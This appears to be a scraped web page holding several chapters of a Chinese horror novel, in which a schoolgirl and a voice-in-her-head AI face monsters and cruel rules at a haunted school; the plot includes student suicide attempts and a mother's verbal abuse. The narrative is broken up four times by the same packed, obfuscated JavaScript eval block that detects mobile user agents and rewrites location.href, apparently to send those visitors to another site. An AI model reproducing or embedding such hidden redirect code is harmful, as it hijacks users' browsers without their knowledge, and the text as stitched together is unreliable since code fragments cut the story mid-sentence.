35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432880|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “放松什么放松,这才哪到哪?” 纪采骂骂咧咧。离开卫生间的时候她一步三回头,生怕镜子里会突然扑出来一只恶鬼。 依然无事发生。 纪采走出卫生间,室友们没一个人睡觉,全都趴在被窝里看书,手电筒和小台灯的光把她们青白的脸照得像是刚出土的尸体。 罪魁祸首冯心雨趴在下铺,把嘴角咧到了耳根,让自己的二十八颗牙齿齐齐整整地和纪采打了个招呼。 这怪物终于不装人了! 纪采看着她这个灿烂至极的笑容只觉得自己腮帮子疼,手背上火辣辣的疼痛也更加滚烫了。 寝室就是个狼窝!她怎么可能在这里睡!万一她哪天又违反了什么隐藏规则,床下面这个畜生玩意儿扑上来把她吃了怎么办?! 冯心雨见纪采站着不动,脸上的笑容愈发灿烂:“大家都上床了,你还不上床吗?” 这个熟悉的句式让纪采狠狠地打了个哆嗦。 所以晚上必须待在床上也是规则之一是吗?! 纪采怂了,即使卧榻之侧群狼环伺,她也只能认命地攀上床铺的梯子。 她一直注意着趴在下铺的冯心雨,生怕这畜生扑上来给她咬一口。眼见冯心雨的嘴角越咧越开,纪采心底的不安愈发高涨。 绝对、有哪里不对! “后面——” 纪采再怎么用余光注意四周,也没法看见自己的脚后跟。她落在地上的阴影在头部的位置张开了两个圆形的空洞,像是全身漆黑的人睁开了眼睛,露出没有瞳仁的白色眼球。 零和出声示警的同时,纪采脚跟处的阴影突然像烧开的水那样沸腾着翻涌起来,一截乌贼腕足般的漆黑物体哗啦一声探出水面,死死地缠住了纪采的脚踝! “啊啊啊啊啊——!” 纪采不可自抑地惨叫起来,一直虚拢住的左拳飞快张开,露出一抹阳光般耀眼的金色。 【异能道具〈落笔无言〉已发动。剩余次数:4。】 【〈幻灵:镜中人〉精神值下降。】 阴影僵直了一瞬,随后它似乎是被激怒了,沸水般的黑暗炸裂开更多的水泡,更多的表面凹凸不平的腕足从水下蜂拥而上。 左脚五根,右脚五根——那些肿胀畸形的腕足竟然是某个“人”的手指! 纪采清晰地感觉到自己的皮肤被无数个小小的、肉质肥厚的吸盘给吮吸了。 没有痛感,但阴冷的潮湿感像电流一样从脚底贯穿了四肢百骸,纪采几乎能想象到无数条毒蛇已经爬上了她的身体,剧毒的獠牙蓄势待发。 腕足的吸盘像火罐一样被大气压死死地按在她腿上,根本甩不掉。难以抗衡的巨力几乎要把她的腿骨捏碎,纪采痛呼着从楼梯上滑下来,半个身子都被蟒蛇一般的阴影吞入口中。 “我就知道!我就知道!在这儿等着我呢?!” 纪采扯着嗓子尖叫。 室友们在狂笑。 【异能道具〈落笔无言〉已发动。剩余次数:3。】 【〈幻灵:镜中人〉精神值下降。】 11. 镜中人 纪采在往下坠,阴影在往上升。 暴涨的黑暗纠结成扭曲的人形,颤动的线条时而鼓出浑浊的脓包,时而凹陷成苍白的空洞。触足上的吸盘也一齐颤动,然后像水泡一样哔啵爆裂。 阴影明明在沸腾,可它溅射的汁液却是冰凉的,像她室友身上死人的温度,比冬天的冷空气更加刺痛骨髓。 影子覆盖在纪采上方,如同耳语的情人一样贴着她,发出砂纸打磨一般沙哑的声响。 “嘶……” “嘶——嘶——” 千万只蝉在她耳边发出濒死的鼓噪,声嘶力竭地腐烂在夏末的泥土中。 不堪承受的耳朵发出了报错音,耳道内回荡着嗡嗡作响的长鸣。 【异能道具〈落笔无言〉已发动。剩余次数:2。】 【〈幻灵:镜中人〉精神值归零。】 尖笑声、水泡炸裂声、腕足蠕动声和蝉鸣声在瞬息间被掐断,只余耳畔心跳声如擂鼓。 蠕动着的黑暗溶解了,影子像是真正的水那样被重力拉扯砸向地面,然后潦草地涂抹遍地。 淡蓝色的悬浮光屏上炸开了小小的电子烟花。 【恭喜你成功击杀〈幻灵:镜中人〉,你的精神值提升了!】 一股清凉的涓流汨汨淌过,纪采不由自主地打了个激灵,浑身上下的困倦感顿时一扫而空。僵化的大脑又活络起来,身体的各处关节像是被除锈上油的机器,变得轻盈又灵活。 纪采觉得自己精力旺盛得能现在就下楼跑个三千……不,八百米。 “恭喜你,精神值从521涨到了531,现在你用【虚实幻真】应该没那么想吐了。” 零和在纪采脑内轻声说,“精神值达到600就能解锁下一级的天赋分支【指数裂变】,可以一心二用之后就不用担心被怪物偷屁股了。” 纪采没功夫听零和说的话,她紧张兮兮地盯着地板上仍然在抽搐的怪物。 虽然系统判定镜中人已经死了,但影子四分五裂的尸体也还残留着生理性的神经反应,像离水的鱼那样在地上抽搐着蹦跳,仿佛它们身下不是冰凉的水泥,而是滚沸的油锅。 “不是死了吗?还没死透?” 纪采犹豫着举起发光的银杏叶。趴在下铺的冯心雨发出一声短促的尖叫,整个人惊恐地缩进了被子里,比应激的蚌壳还要迅速。 “嘶……死……死……!” 四周安静得落针可闻,纪采这才听清楚影子在说什么。 死? “想死……我……” 无数个重叠的声音在说:“我想……死……” 黑暗在剧烈地蒸发,滋滋地冒着白气。镜中人停止了挣扎,死亡和月光一起降临在它身上。 “哇。” 影子们轻声叹息,“今天有月亮。” 叹息声如同烧尽后的青烟,溶解在空气中,了无痕迹。只留下长久的寂静,像是挥之不去的顽固烟味。 地板上留下了几块灰黑色的片状物,形似晒干的海带。纪采蹲下身去把它们捡起来,然后听见了系统的播报声。 【幻灵·镜中人*****】 【特殊道具】 【“我不敢端详镜中憔悴的自己,也无暇审视枯萎的内心。”】 【记忆体的壳,外表是漆黑的人影,构筑核心的执念如今已经消散了,但剩余的躯壳仍然保有某些特殊的性质。】 地上的一堆干海带在光屏上变成了一个涂得黑漆漆的火柴小人,小人浑身都被凌乱的黑色线条缠满,占据了纪采的一个背包格子。 【异能道具:〈幻灵·镜中人〉已收入背包。】 【你获得了〈幻灵·镜中人〉的残念,是否阅览?】 用脚趾头都能想到这里面藏着通关线索,她难道会选择“否”吗? 熟悉的眩晕感扑面而来,但这次并没有让纪采感到天旋地转,只是精神恍惚了一瞬。 纪采的脚下变成了铺着白瓷砖的地板,上面还残留着薄薄的水渍。数个小小的隔间被灰白的门板围住,纪采下意识屏息,倒不是因为鼻端弥漫的奇特气味,而是因为琳琅满目的线条。 墙壁和隔间的门板上被人用红色和黑色的记号笔填满了文字和图画。 右手边的隔间属于绘画区,流畅的线条勾勒出一个个风情各异的人物,顾盼生辉,神采飞扬。底下写满了诸如“只要XX不喊停,客厅厨房我都行”“我要做XXX的狗”之类的癫狂发言,让纪采仿佛被群魔乱舞的裤衩子甩了一脸。 左手边的隔间则矜持许多,主要是一些碎碎念的抱怨和感想。纪采还看见了一整版的古文,虽然她看不太懂但还是感觉到了横溢的才华和熏天的醉意,想必作者本人和墙上飘飞的字迹一样狂放。 “纪采”的视野继续往前移动。她掏出一只笔,找到门板上的一处空白,不带停顿地写下了几行字。 “我的心是熄灭的炭 灰烬中阴燃着火 余温将肋骨锻造成矿石 沉默在喉咙生长出倒悬的剑 火山在胃里休眠 岩浆翻涌呐喊和毒液 飞鸟用喙尖啄食骨髓 将痛苦钉入脊椎 在每个夜晚 用灵魂啮咬钢铁的网 每道裂纹都渗出 被冰封的血” 这个格式……诗? 幻境迅速地褪色。一晃神的功夫,纪采就回到了寝室里。 “镜中人”曾经在厕所的墙上写诗——纪采觉得镜中人就是袁文盈,毕竟目前所有的线索都指向她。 镜中人想死,可她又写下了那样的句子——应该是不想放弃的意思吧?中途到底发生了什么让她改变了想法,让她变得和纪采的室友们一样,认为“死亡是解脱”? 纪采盯着手心的银杏叶,它散发着金灿灿的光,月光在它的衬托下黯然失色。 她故意凑近了一点冯心雨,用被子把自己包成饺子的冯心雨立刻开始发抖,上下牙关撞击发出咔嗒咔嗒的磕碰声,像是在打快板。 把〈落笔无言〉换成〈漫游指南〉,效果也依然显著。 银杏叶来自袁文盈,这些怪物惧怕的是袁文盈?如果袁文盈就是这个里世界的核心,那么从袁文盈的记忆里诞生的怪物为什么会害怕她? 纪采心念一动:“你认识袁文盈吗?” 冯心雨没说话,一眨不眨地盯着纪采。盯着盯着,她一边撇下去的嘴角艰难地往上扬起,同侧的眼睛和眉毛也缓慢地挤出笑模样来。 她的半张脸因为恐惧而收缩,另外半张脸的肌肉抽搐着大笑。 刚才冯心雨扑上来抓自己的时候也是这么笑的! 纪采顿时警觉,手脚并用地爬上床,把自己裹进被子里。 四周响起悉悉索索的声响,像是爬虫回到自己藏匿的阴暗缝隙。 纪采支起耳朵听了好一阵,蛰伏在柔软棉花里的困意伺机伸出魔爪抱住她的头颅,她的上下眼皮很快就开始打架了。 纪采一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432881|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴掌扇在自己脸上,强迫自己清醒。 “夜晚的规则应该就这些了吧?我用〈镜中人〉去天台看看,你帮我盯着这边?”纪采昏昏沉沉地说。 “我不建议你这么做。如果发生危险时你的意识在天台,你根本来不及返回本体。觉醒副本里会导致死亡的规则的确很少,但不代表没有。等待一个晚上也许是更稳妥的选择。你可以先睡一个晚上,我帮你望风。” 零和说的没错,但是纪采不想再等了。如坐针毡、如鲠在喉、如芒在背,她不知道该怎么形容自己现在的感觉,也不知道怎样行动才是正确的。但是她觉得自己必须要做点什么,因为那无法言说的焦虑感。 “【虚实幻真】的范围不是三米吗,我不出三米不就行了?” 纪采从背包格子里拖出〈镜中人〉。 它的实体是个手掌大小的娃娃,硬质骨架上乱七八糟地缠满了扎手的黑色毛线。 纪采盯着娃娃没有眼睛的脸部,想象自己的灵魂往上升起,和娃娃额头相抵。 纪采像是挤入了一个狭窄的山洞,她要吸气收腹才能让自己的身体塞进缝隙里。上一次有这样的窒息感还是强行扣上小了一个尺码的裤子,那时她感觉自己的肚子都要被勒爆了。 缠在娃娃身上的黑线纷纷溶解成粘稠的液体,硬质的骨架变成流动的黑暗。山洞的尽头豁然开朗,纪采的心中有了一种明悟。 【镜中人】 【特性1:如影随镜 你能够通过镜面隐蔽地行动。一切能倒映出影子的物体表面皆视为镜面。】 【特性2:如镜显影 你能够短暂脱离镜面,以阴影实体行动。一切能倒映出影子的物体表面皆视为镜面。】 纪采痛苦地皱起了脸:“怎么一个攻击技能都没有啊?我怎么这么倒霉?!” “但是你的侦查和保命能力简直超——级厉害哦。” 零和拖长了声音,用浮夸的语气说:“惹不起,你躲得起啊。” 纪采没好气地说:“我谢谢你啊!” 漆黑的小人转头看向玻璃窗。构成她身体的黑暗逐渐变得稀薄,最后消失在了空气中。 玻璃窗上出现了一个模糊的黑影,如果不仔细观察,根本无法将它和周围环境的光影区分。 纪采感觉自己的身体变成了薄薄的一片。这种感觉很奇妙,之前自己的身体是有厚度、有肉感的,但现在她浑身上下的骨骼和肌肉都变成了轻飘飘的纸片。 走廊的栏杆是不锈钢材质的,表面光可鉴人。纪采顺利地转移到栏杆上,探出头往宿舍楼下看。 中庭的银杏树金光灿灿,照得底下亮如白昼。树下横七竖八地躺了一地的人,鲜红的血漫溢如湖泊。 离开寝室就像脱出了一个密闭的壳子,寂静被打破,众人的喧嚷声吵闹得整栋楼都能听见。 有老师站在一旁拿着手机大声地打电话:“喂?王晨家长吗?我是他老师,你孩子……” 还有人凑在一起讨论:“已经是这个月第三次了!不能再让这样的事发生了,我们必须想个办法解决问题!” 穿着保洁服的人沉默地穿过熙攘的人群,他们来到死者身边,提起铁铲开始掘土。 纪采这才远远地看清了这些埋葬者的样子,他们—— 全都是“镜中人”。 镜中人?为什么会是镜中人?难怪他们能突然出现又人间蒸发,因为他们可以通过镜面移动!等等,人间蒸发——难道老方也是镜中人? 12. 校长 行政楼七楼,校长办公室。 中年男人站在办公室的门外,摘下自己的金边眼镜,用衣袖反反复复地擦拭,又抖着手把它戴回去。如此重复三次之后,他才深吸一口气敲响了办公室的门——即使现在他已经不再需要呼吸了。 “请进。”从门里传来醇厚的女声。 男人佝偻着背进入办公室,给身后的门留了一道缝隙。办公室里面没开灯,窗帘紧闭。 一个女人背对着门坐在办公桌后的皮质座椅上,她正在用剪刀修剪摆在一旁的盆栽枝叶,语气和蔼地问道:“我的教导主任,有什么事吗?” 男人的身体开始轻微地颤抖起来:“校长,有学生进入了新绿文学社的活动室……” 校长手上的动作没停:“很正常啊?人群中总会有几个聪明又勇敢的孩子。” “可是昨晚,有一个镜中人的‘壳’消失了……” 剪子刀刃相互碰撞的声音戛然而止。真皮座椅缓缓转过来,校长腐烂的右手拿着剪刀,手背皮肤正以肉眼可见的速度溃烂又再生。她操控着椅子从黑暗里滑出,光线落在崎岖不平的右半张脸上。 “那个人是谁?” 校长的嗓音变得沙哑,像粉笔刮擦黑板。 教导主任扑通一声跪在地上:“不、不知道,系统那边的资料没显示有精神吞噬类的异能,监控也没有拍到人……” 地面不知何时结了一层白霜,顺着教导主任的裤管往上蔓延。教导主任惊恐得眼球暴突,身体抖如筛糠:“但是!但是请给我们一点时间!我们之后一定……” “嘘——你有点吵了。” 校长把白骨化的左手食指抵在唇上,她左半边的嘴唇被丑陋的手术线缝死,另一边红艳的嘴唇在腐烂的右脸上一开一合:“你为我工作了很久,我暂时还不想换一个新的教导主任。你能兑现你的承诺,对吧?” “我、我,我会尽全力……” “尽力有什么用?是一定要找到!” 校长的声音陡然尖利起来,像是指甲狠狠地刮过黑板发出的声响。 她的脖子像是蟒蛇那样抻长了,头颅越过一张办公桌贴近教导主任的耳边,呼出的气息带着深埋泥土里的腐味:“我不需要废物!‘祂’也不会容忍自己的力量被垃圾浪费!干不好就去死,能干的人多的是!” “好的!好的!” 教导主任连滚带爬地逃走了,大门被关上,办公室里又陷入黑暗。校长的头颅缩回肩膀上,她花了好一会儿平复愤怒的喘息,呼出来的气都带着寒冷的冰渣。 精神吞噬系——唯一有可能会对‘祂’造成威胁的异能者,必须扼杀在摇篮里! 校长用破溃的右手拿起了摆在办公桌上的相框。那是一张合照,文学社的成员们站在金色的黄昏中——和社团活动室墙上挂着的那张一模一样。 “袁、文、盈。” 她咀嚼着这个名字,像是要把每个音节都在齿间咬碎,“你怎么还不去死?这样活着有什么意思啊?你逃不掉的,你一辈子都没法摆脱,只要你还活着……去死吧,去死吧,去死吧!” ———— 即使零和说了由他来守夜,纪采这一觉还是睡得不太安稳。 纪采始终对于脑子多了个会说话的东西耿耿于怀。比起从天而降的异能,她还是更相信自己。 “睡不着的话,建议你试试冥想。这是最安全的增长精神力的方法,同时也被用于修复精神污染损伤,可以说是异能者必修的技巧。想象你的眼前出现了一个光点,试着描绘它的形状……” 零和轻声地叙述,“放松你的身体,它变得很轻,很轻……你感受到了自己的灵魂,它在往上升,接近那个光点……” 纪采觉得自己必须要学会冥想,所以她按照零和说的去做了。她觉得自己的身体变得松软、轻盈,灵魂飘荡在无垠的宇宙中。然后…… 然后她就舒服得失去了意识。 纪采:有戒心,但不多。 五点半的铃声如约而至。纪采直接惊醒,“刷”地一下睁开了眼睛。 零和慢悠悠地说:“昨晚是个平安夜哦。现在看来上床后夜晚是安全的,但我不确定明天会不会又出现新的隐藏规则。经过昨夜,里世界已经深度侵蚀了现实,规则书添加了新的规则,你想要自己看还是我念给你听?” 广播的音乐声撼天动地,铁架床也跟着一起震颤,纪采的脑袋嗡嗡作响:“你念给我听吧。” “咳咳!” 零和清了清嗓子,纪采也不明白他一个AI为什么要清嗓子,“第一,早晨起床后必须叠被子,并摆放于大门的相反方向。第二,晨跑前的朗读,必须将书本用双臂高举过头顶。第三,晨跑时,需将双拳抵住前方学生的后背,脚步铿锵有力,同时大声喊出口号……” 纪采迷迷瞪瞪地把被子胡乱折了起来,塞在床脚。 “……大澡堂在每周六的中午12:00到1:00供应热水。” 纪采以为自己听错了:“什么大澡堂?” 零和短暂地沉默了一会儿:“独立卫浴没有了,你想洗澡只能去公共澡堂。上厕所出寝室门左拐,公共厕所在走廊尽头。” 纪采:? “他有毛病吧!意思是我只能一个星期洗一次澡?我不得臭了吗?” “你急什么,这还没念完呢?第八,学生统一列队去食堂,听老师口令进餐。” 零和没管纪采的崩溃,冷血无情地念道:“第九,午休和夜晚就寝时间增加老师巡查,宿舍安装监听器,夜间的睡觉姿势必须是平躺,禁止翻身。” 纪采:??? 我是封建时代皇宫里的奴才么我,连睡姿都要被管?一个破高中,至于吗?有必要吗? 想出这套规定的人脑子里面都装了什么东西啊? 零和忧愁地说:“现在的监管开始变严格,自由活动时间大幅缩水了。而且你也必须去食堂用餐了,异常估计会在那里进行强制性的精神污染。” “……我现在接受你的身份还来得及吗?” “晚了。”零和冷酷地回复,“现在我估计已经打不过这个异常了。” 纪采低头,盖在被子上的校服都变成了几十年前的经典运动服款式。她飞速套好衣服爬下床,发现寝室的装潢已经完全变样了。 地板上铺的瓷砖一夜之间被连根拔起,露出光秃秃的水泥地,原来的铁皮柜变成了非常眼熟的淡绿色木柜。霜花在玻璃上盛放,木质窗框上爬满了油漆的裂纹。 “这侵蚀加深的速度未免也太快了吧?” “在第一天消极行动,没有获取道具的非异能者几乎不可能挺过镜中人的袭击。昨晚很多人的理智都崩塌了,异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432882|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常汲取到了大量的养分,现实世界会扭曲成这样也很正常。” “我真的感觉我要完蛋了,道具就那么几个,我还手无缚鸡之力的,我怎么活呀?”纪采越盘算越觉得自己赢面不大。 “事情还没到那一步。里世界侵蚀越深,现实世界的反抗就会越强烈,所谓的游戏其实就是两个世界对抗后妥协的产物。所以你也不用太过担心,规则会保护你的。” 不得不说,零和的话确实安慰到了纪采,她觉得自己还能再挣扎一下。 纪采穿好衣服打开宿舍门,原本的不锈钢护栏在一夜之间不翼而飞,拇指粗的铁条交错成网状,把天空切割成无数菱形的小块。 昨晚上它们说“必须想个办法解决问题”,这不会就是那个办法吧?简直天才,别的先不说,纸面上的自杀率保管断崖式下跌,真该给它颁个诺贝尔防跳楼奖! 今天比昨天冷得不是一点半点。夜里下了一场大雪,黑沉的天色映出白茫茫的一片。纪采被冻得打了个哆嗦,把自己的下巴往衣领里埋,踏着小碎步跑了出去。 蓬松的雪早被兵荒马乱的人群踩塌了,纪采每一步都精准命中前人的脚印,差点被浅洼里的雪水害得滑倒。 操场内部变得不一样了,塑胶跑道被撕掉了胶皮,路面铺满黑色的煤渣碎石。老旧的水泥主席台上,教导主任的目光像是探照灯,在人群中来回扫视。途经的老师们一个二个都眉头紧锁,面色凝重。 “咋了啊这是?我怎么感觉今天氛围不太对啊?” 纪采很快就知道哪里不对了。 跑完圈之后老师们没让学生列队离开。音响嗡鸣一声,教导主任拿起了话筒:“喂,喂喂。” “今天的晨会,是要跟大家说一件很严肃的事情。学校的社团活动室遭遇了盗窃,而监控摄像头没有拍到小偷!我要求大家都回忆一下,昨天中午的午休时间,你们身边的同学有谁表现出行为异常吗?” 纪采的心脏咯噔一下沉了下去。 教导主任问这话是什么意思?为什么要找她?他不知道这个副本中的玩家是谁吗?她的室友都能抱着她的手啃了,难道不是早就知道她是玩家吗? 人群一片沉默。 教导主任的呼吸声粗重起来:“好,那我再问你们……你们谁,在晚上杀了人?你们看见了吗?一定看见了吧!” 面色青白的学生们低着头,你看看我,我看看你,互相交换着眼神,但还是没人说话。 教导主任暴跳如雷,嗓子都喊劈了:“现在是晨会!你们可以说话!” 获得准许,学生立刻交头接耳起来,嘈杂声轰鸣如蜂群过境。纪采浑身僵硬地站在人堆里,她听到同学们在窃窃私语:“谁呀?真是好人哎……” “哪位勇士?站出来也给我来一下,我希望她能动作快一点,不会让我太痛苦……” 站在纪采旁边的冯心雨没说话,她盯着纪采的侧脸,露出一个意味不明的微笑。 “好家伙,”纪采浑身汗毛倒竖:“原来学生和老师不是一帮的呀?” 一只手按在纪采肩膀上,吓得纪采一个激灵,差点跳起来。 老方拍了拍纪采的肩膀,低声说:“早读来我办公室。”说完便走到队伍前头去了。 完了,老方是因为自己追着他去行政楼,怀疑上她了! 吾命休矣! 13. 网 “监控录像已经被我处理了,也不会有学生跳出来作证。就算他怀疑你,只要你抵死不认,他也不能越过规则拿你怎么样,你放心好了。” 零和气定神闲,“异常的反应这么剧烈,说明你的行动的确对它们造成了威胁。关于下一步行动你有想法吗?或者说需要我给出建议?” “我现在还是不知道袁文盈的执念是什么啊?我怎么超度她啊?我又不能物理超度!别人玩家只要觉醒了异能就算达成通关条件了,我不行啊!鬼知道我要在这儿待多少天?” 纪采烦躁地抓头皮,挠下来一手的油腻,成功恶心到了自己:“烦死了!我能剃光头吗?” 她跟着队伍返回了教学楼,和同学们分道扬镳,拐去了另一边的教师办公室。 办公室的门开着,还没走近就能听见歇斯底里的女高音:“她就是作!” “我们小时候天天种地吃腌菜都没抑郁,她好吃好喝大鱼大肉的还好意思说活不下去?” 纪采躲在门外,一时竟不敢进去。这才凌晨六点啊阿姨,您的精神头可真足! 另一道女声无奈地叹气:“孩子手臂上有几十道划痕......” 话没说完就被女人不屑的嗤笑打断:“那是学电视剧里要挟大人!真要死的人划这么多刀干什么,跳楼最快啦!” “……你这副哭丧脸给谁看?别整得一副我虐待你的样子!我少你吃还是少你穿了?我在你身上花了那么多心血,你呢?你就是这么回报我的?你知不知道我同事的女儿保送京都大学了?你还想要什么,你说啊!你要能和她一样,我什么都给你!” 年轻些的声音带着颤抖的哭腔尖叫:“不要说得你对我多好一样!我就是你投资的股票,以后赚钱给你养老!反正我就这样了,你羡慕别人的女儿,那你换一个啊!我才不稀罕当你的……” “啪!” 巴掌声响亮又清脆。纪采踌躇起来,感觉自己这个时候进去似乎不太合适。 “纪采?站在这儿干嘛,进去啊。” 老方像个幽灵一样悄无声息地从背后拍了拍纪采的肩膀,吓得纪采又炸毛一回,臊眉搭眼地跟在老方屁股后头进了门。 “是这样的,”老师推了推架在鼻梁上的眼镜,从抽屉里拿出一叠文件:“袁同学这个情况呢,我们认为已经不适合在山河中学就读了,不如让孩子休学或者......” 老师话音未落,暴怒的母亲突然拍桌而起:“休学?档案留下污点还怎么考公务员?我丢不起这个人!” “来,坐吧。”老方拉了把椅子给纪采。 纪采小心翼翼地坐下,屁股刚沾到椅子边边,老方就恶狠狠地把拳头砸在桌子上:“说!你昨天中午去哪里了?” 纪采的屁股立马从凳子上弹射起来,她怂兮兮地站在一边:“我?吃饭啊,我吃饭了,吃饭就回宿舍了。” “撒谎!”老方满面怒容,把桌子拍得哐哐响:“你室友都说你没去吃饭!” 我靠学生和老师不是敌对关系吗这几个畜生居然告发我?等等好像她自己又是单独一个阵营啊!同学针对她也很合理! “他在诈你,”零和在纪采脑内说,“你们才刚回来,他哪来的时间去找你室友,还完成了问话?” 一个人影一阵风似的从纪采身边刮了过去,快得掠出了残影。隔壁桌的女老师像是愤怒的母狮子那样咆哮:“抓住她!” 纪采还没反应过来,只见老方的脸勃然变色,恶狗扑食一样跳过办公桌追了出去。 “这个月的跳楼指标已经没有了啊!”女老师喊完剩下的那句。 啊?你们这儿死人还给指标的? 纪采的反应慢了半拍,那个女孩已经跑到了走廊上,半边身子都跨坐在栏杆外。 “你们别过来!再过来我就跳下去!”女孩泪流满面。 “作孽呀!作孽呀!我怎么生了这么个讨债的!” 母亲一屁股墩坐在地上,旁若无人地哭嚎起来:“你这个白眼狼!你有没有良心啊?我只有你一个女儿!我一把屎一把尿把你拉扯大,你就这么对我?你死了我也不活了!” 老师们朝着骑在栏杆上的女孩伸手,却又不敢太过靠近她:“同学,你冷静一点!不要因为一时的冲动上头啊!你妈妈年纪都这么大了,你出了事她怎么办啊?咱们有什么事都坐下来,慢慢说,啊?” “股票显然是没有良心的,投资者需要自负盈亏,砸手里也只能认命,没赔得倾家荡产就谢天谢地吧。” 零和居然还有闲心看热闹,在纪采的脑海里发出冷笑:“但是总有人觉得,只要进行了教育投资就一定会有回报呢,你说奇不奇怪?” 纪采觉得零和就像一个初中二年级的小孩,世人皆醉他独醒,平等地嘲讽所有人类。不过,他刚才这句话说的还挺有道理的? 女孩的眼泪流得更凶了。纪采不知道哪句话戳中了她的内心,她身上那股一往无前的狠厉决绝一下子就泄掉了,像是再也竖不起武器的刺猬。 老方眼疾手快地抓住女孩,把她强行从栏杆上拖了下来。女孩哭叫着挣扎,却被老师按住拖走,离走廊的边缘越来越远。 “让我死!让我死!我要去死!” 纪采听到了冰霜冻结的声音,咔啦咔啦的声响像是在用磨牙碾碎某种动物的软骨。 漆黑的铁条缓慢地蠕动交错,好似霜花爬满玻璃那样填满了护栏和天花板之间的天空。 这下学生们在教学区域内跳楼自杀的可能性也被抹去了。 “啪!” 又是一个清脆响亮的大耳刮子,刚才还坐在地上的母亲,转眼就扑到了她女儿跟前,面容狰狞地揪着她女儿的校服衣领:“你这个没良心的东西!你爸是白眼狼,你就是个小白眼狼!我当年就不该生你!省得你来这么气我!” “你跳啊,你跳!你从这里跳下去呀!五楼可摔不死人!到时候你摔残了,躺在床上,生活不能自理,就指望着我照顾你,是不是?是不是啊!你就是想折磨我!” 老师们撕开了纠缠一团的两个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432883|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩浑身发软地被一个老师扶着,几乎要滑到地上去。她母亲被老方和另一个女老师架开了,还在止不住地叫骂,状若癫狂。 “有本事你跳一次就摔死!保险正好赔我养老钱!不用你来伺候我!这么多年花你身上的时间和精力我拿去干什么不好!何必生你这个讨债鬼天天折磨我……” 纪采想起之前听到过的一个说法:“有心理疾病的孩子,往往是家里病得最轻的那个”。 越来越多的老师围了过去。母亲还在大声咒骂,但女孩低着头,再也没发出过声响。她的麻花辫垂下来挡住脸颊,让人看不清她的神情。 这对母女被众人簇拥着离开了。老方返回了办公室,用衣袖擦掉额头上淋漓的汗水,坐在椅子上长出一口气:“唉——好了,现在你继续说吧。” 刚才那么一闹腾,给了纪采充分的时间组织语言。她低头抠着自己的手指甲,有些不好意思地说:“其实,其实我没去食堂,我是在教室里偷偷学习……所以才很晚回宿舍。” “原来是这样。” 老方绷紧的面部肌肉舒展开来,脸上浮现出笑意:“难怪,上次月考你的成绩可是突飞猛进啊。继续保持这个水平就好,你也不要给自己太大压力,别像刚才那个3班的一样,要死要活的。” 纪采只能干笑。 老方摆了摆手:“没什么事了,就赶紧回去吧。最近别到处乱跑,盯得紧,到处都在抓那个凶手。” 纪采表面上再说“好的好的”,其实心里已经骂了一大段的脏话。 抓吧,抓吧,反正我能用〈镜中人〉,你们抓得到我算我输! 踏出办公室门槛的那一瞬间,数个零星的记忆片段闪回在纪采眼前。之前她的眼球和耳朵明明捕捉到了信息,可她的大脑就像宕机了一样,把这些信息全都给忽略了,直到现在她才意识到那代表着什么。 “袁同学……” “那个3班的……” 女孩的样貌变得清晰起来。她扎着麻花辫,清秀苍白的脸上嵌着一双盈满痛苦的眼睛。那双眼睛在不断地流出泪水,荒芜得像是被烈日蒸干的枯潭,只留下开裂的土地。 “我勒个去!” 纪采懊恼地闭眼,一巴掌拍在自己脑门上。 袁文盈!!! 纪采冲到走廊边上,她抓住铁网的格栅往楼下看,哪里还有那对母女的影子? “零和!刚才你也死机了吗!为什么不提醒我啊?”纪采气急败坏地往楼下追,心痛得仿佛自己错过了一个亿。 零和的声音听起来很不爽,好像他比纪采还要生气:“是精神系异能‘存在感稀释’,你的精神值太低了所以我没法防御。” “系统你都能防你告诉我这个你防不了?”纪采提出质疑,拒绝承认是自己太菜了。 “硅基生命的血液里流的是0和1,吃的是电流喝的是数据,难道异常也是吗?” “异常这种鬼东西还能是碳基啊?!” “异能者被你开除人类籍了?!” 14. 上当 纪采一路追到了楼下,连根毛都没见着,果断地转身返回。 